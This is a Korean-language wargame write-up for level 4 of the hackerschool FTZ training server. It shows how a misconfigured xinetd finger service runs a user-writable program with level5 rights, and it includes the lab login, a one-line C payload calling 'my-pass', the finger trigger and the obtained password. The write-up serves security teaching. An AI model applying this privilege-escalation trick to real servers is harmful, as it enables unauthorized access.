ssh://ftz.hackerschool.org id : level4 pw : suck my brain |
서버에 접속하여 디렉토리에 있는 파일들을 리스트 형식으로 확인합시다. 이름이 hint인 파일이 있군요. cat을 사용하여 명령어를 입력합니다.
|
[level4@ftz level4]$ ls -l 합계 12 -rw-r--r-- 1 root root 50 2월 24 2002 hint drwxr-xr-x 2 root level4 4096 2월 24 2002 public_html drwxrwxr-x 2 root level4 4096 7월 12 02:40 tmp [level4@ftz level4]$ cat hint
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!
|
/etc/xinetd.d/ 에 백도어를 심어놓았다. 라고 하는군요.
여기서 백도어란 허가받지 않은 사용자가 네트워크에 들어갈 수 있을 만큼 허술한 부분을 일컫는 말입니다. 확인을 위해 /etc/xinetd.d/경로로 이동해 봅시다. 이동후 디렉토리에 있는 파일들을 확인합시다. 명령어는 cd를 이용합니다.
[level4@ftz level4]$ cd /etc/xinetd.d/ [level4@ftz xinetd.d]$ ls backdoor cups-lpd echo ntalk rsh services telnet chargen daytime echo-udp rexec rsync sgi_fam time chargen-udp daytime-udp finger rlogin servers talk time-udp |
이름이 backdoor인 파일이 보입니다. 딱봐도 수상하니까 확인 해봅시다.
backdoor라는 파일의 내용을 살펴본다. 명령어는 cat을 사용합니다.
[level4@ftz xinetd.d]$ cat backdoor service finger { disable = no flags = REUSE socket_type = stream wait = no user = level5 server = /home/level4/tmp/backdoor log_on_failure += USERID } [level4@ftz xinetd.d]$ cat /etc/services | grep finger finger 79/tcp finger 79/udp cfinger 2003/tcp # GNU Finger |
service는 서비스 이름을 명시하며 여기 backdoor 파일에서는 finger 서비스를 명시했네요.
disable은
데몬이 슈퍼데몬의 영향을 받아 실행할때는 no
데몬을 쓰지 않을때는 yes 를 할것입니다.
참고로 데몬이란 일종의 윈도우 서비스를 말하며 평소에는 비활성화되어 있고 사용자가 요청할때만 동작하는 프로세스입니다.
슈퍼데몬은 이러한 데몬을 관리하는 데몬이며 보통 inted 또는 xinted를 칭합니다.
socket type
TCP일 경우에는 stream, UDP일 경우에는 dgram이라 명시합니다.
wait
inted가 서비스 요청을 받은 경우, 이후에 즉시 또다른 요청을 처리할 것인지 아닌지 여부를 결정합니다. stream일 경우에는 반드시 no wait이어야 합니다.
user
어떤 사용자의 권한으로 프로그램을 수행시켜줄 것인지 명시합니다. 여기서는 level5의 권한으로 프로그램을 수행시킵니다.
server
어떤 응용 프로그램을 수행시킬 것인지 명시합니다. 절대 경로를 모두 명시해야합니다.
log_on_failure += USERID
만약 로그인에 실패할시 USERID가 로그로 남는다는 뜻입니다.
즉 요약하면 level5의 권한으로 finger서비스가 백도어를 실행한답니다. 그리고 이 프로그램이 실행되는 경로는 /home/level4/tmp/backdoor 입니다. 확인을 위해 tmp경로로 가시면 파일이 없습니다. 그래서 직접 만들어 봅시다.
그리고 프로그램이 위치한 곳은 /home/level4/tmp/backdoor에서 보면 tmp 이기 때문에 backdoor라는 프로그램을 작성하여 level5 user의 권한으로 원하는 명령을 수행할 수 있습니다.
~/tmp에 my-pass를 실행하는 backdoor라는 이름의 프로그램을 작성합니다. 그 후 컴파일합니다.
|
[level4@ftz tmp]$ cd ~/tmp [level4@ftz tmp]$ cat > backdoor.c #include <stdio.h>
int main() { system("my-pass"); } [level4@ftz tmp]$ gcc -o backdoor backdoor.c |
finger를 실행합시다.
|
[level4@ftz tmp]$ finger @localhost ^[[H^[[J
Level5 Password is "what is your name?". |
패스워드를 얻었습니다.